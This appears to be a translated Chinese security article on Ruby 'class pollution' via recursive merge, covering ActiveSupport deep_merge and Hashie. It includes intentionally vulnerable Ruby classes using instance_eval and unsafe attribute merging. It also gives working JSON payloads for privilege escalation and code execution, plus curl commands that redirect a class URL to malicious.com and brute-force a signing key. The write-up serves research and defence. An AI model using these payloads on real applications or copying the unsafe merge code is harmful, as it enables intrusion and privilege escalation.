Ruby类污染:利用递归合并的深度探索
介绍
在本文中,我们将探索Ruby中一类很少被讨论的漏洞,称为类污染。这个概念受到JavaScript中原型污染思想的启发,通过递归合并来污染对象的原型,导致意外行为。
在Ruby中,我们可以将类污染分为三种主要情况:
- 哈希合并:这种情况下无法实现类污染,因为合并操作仅限于哈希本身
- 属性合并(非递归):可以污染对象的实例变量,可能通过注入返回值来替换方法
- 属性合并(递归):递归特性允许我们逃逸对象上下文,污染父类甚至无关类的属性或方法
属性合并
让我们从检查一个代码示例开始,其中我们利用递归合并来修改对象方法并改变应用程序的行为。
require 'json'# 管理员和普通用户的基类
class Personattr_accessor :name, :age, :detailsdef initialize(name:, age:, details:)@name = name@age = age@details = detailsend# 将额外数据合并到对象中的方法def merge_with(additional)recursive_merge(self, additional)end# 基于`to_s`方法结果进行授权def authorizeif to_s == "Admin"puts "Access granted: #{@name} is an admin."elseputs "Access denied: #{@name} is not an admin."endend# 使用`instance_eval`执行所有受保护方法的健康检查def health_checkprotected_methods().each do |method|instance_eval(method.to_s)endendprivatedef recursive_merge(original, additional, current_obj = original)additional.each do |key, value|if value.is_a?(Hash)if current_obj.respond_to?(key)next_obj = current_obj.public_send(key)recursive_merge(original, value, next_obj)elsenew_object = Object.newcurrent_obj.instance_variable_set("@#{key}", new_object)current_obj.singleton_class.attr_accessor keyendelsecurrent_obj.instance_variable_set("@#{key}", value)current_obj.singleton_class.attr_accessor keyendendoriginalendprotecteddef check_cpuputs "CPU check passed."enddef check_memoryputs "Memory check passed."end
end
在提供的代码中,我们对User对象的属性执行递归合并。这允许我们注入或覆盖值,可能在不直接修改类定义的情况下改变对象的行为。
工作原理
- 初始化和设置:User对象使用特定属性初始化
- 合并:使用表示要合并到User对象中的额外数据的JSON输入调用merge_with方法
- 改变对象行为:通过传递精心构造的JSON数据,我们可以修改或注入新的实例变量
攻击示例
权限提升:
ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
远程代码执行:
ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
限制
上述更改仅限于特定的对象实例,不会影响同一类的其他实例。
真实世界案例
接下来,我们将探索Ruby中执行合并的两个最流行的库,看看它们如何容易受到类污染的影响。
1. ActiveSupport的deep_merge
ActiveSupport是Ruby on Rails的内置组件,为哈希提供deep_merge方法。如果与以下代码结合使用,它可能变得易受攻击:
def merge_with(other_object)merged_hash = to_h.deep_merge(other_object)merged_hash.each do |key, value|self.class.attr_accessor keyinstance_variable_set("@#{key}", value)endself
end
2. Hashie
Hashie库广泛用于在Ruby中创建灵活的数据结构,提供deep_merge等功能。与之前的ActiveSupport示例不同,Hashie的deep_merge方法直接对对象属性而不是普通哈希进行操作。
Hashie有一个内置机制,防止在合并期间用属性直接替换方法。但是,此规则有特定的例外:以_、!或?结尾的属性仍然可以合并到对象中,即使它们与现有方法冲突。
关键点:
- 方法保护:Hashie保护方法名称不被以_、!或?结尾的属性直接覆盖
- _的特殊处理:关键漏洞在于_作为自身属性的处理
实际示例:
require 'json'
require 'hashie'class Person < Hashie::Mashdef merge_with(other_object)deep_merge!(other_object)selfenddef authorizeif _.to_s == "Admin"puts "Access granted: #{@name} is an admin."elseputs "Access denied: #{@name} is not an admin."endend
end
在提供的代码中,我们利用Hashie对_的处理来操纵授权过程的行为。当调用_.to_s时,它访问一个新创建的Mash对象,我们可以在其中注入值"Admin"。
逃逸对象以污染类
当合并操作是递归的并且针对属性时,有可能逃逸对象上下文并污染类、其父类甚至其他无关类的属性或方法。
require 'json'
require 'sinatra/base'
require 'net/http'class Person@@url = "http://default-url.com"attr_accessor :name, :age, :detailsdef initialize(name:, age:, details:)@name = name@age = age@details = detailsenddef self.url@@urlenddef merge_with(additional)recursive_merge(self, additional)endprivatedef recursive_merge(original, additional, current_obj = original)additional.each do |key, value|if value.is_a?(Hash)if current_obj.respond_to?(key)next_obj = current_obj.public_send(key)recursive_merge(original, value, next_obj)elsenew_object = Object.newcurrent_obj.instance_variable_set("@#{key}", new_object)current_obj.singleton_class.attr_accessor keyendelsecurrent_obj.instance_variable_set("@#{key}", value)current_obj.singleton_class.attr_accessor keyendendoriginalend
end
在以下示例中,我们演示了两种不同类型的类污染:
(A) 污染父类
通过递归合并属性,我们可以修改父类中的变量。此修改会影响该类的所有实例,并可能导致整个应用程序出现意外行为。
例如,使用以下curl命令:
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
我们成功污染了Person类中的@@url变量。
(B) 污染其他类
此漏洞利用暴力来感染特定的子类。通过重复尝试将恶意数据注入随机子类,我们最终可以定位并污染负责签名数据的KeySigner类。
例如,使用以下循环curl命令:
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
我们尝试污染KeySigner中的@@signing_key变量。
结论
这里进行的研究强调了Ruby中类污染相关的风险,特别是在涉及递归合并时。这些漏洞特别危险,因为它们允许攻击者逃逸对象的限制并操纵更广泛的应用程序上下文。通过理解这些机制并仔细考虑如何处理数据合并,可以减轻Ruby应用程序中类污染的风险。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
公众号二维码

公众号二维码

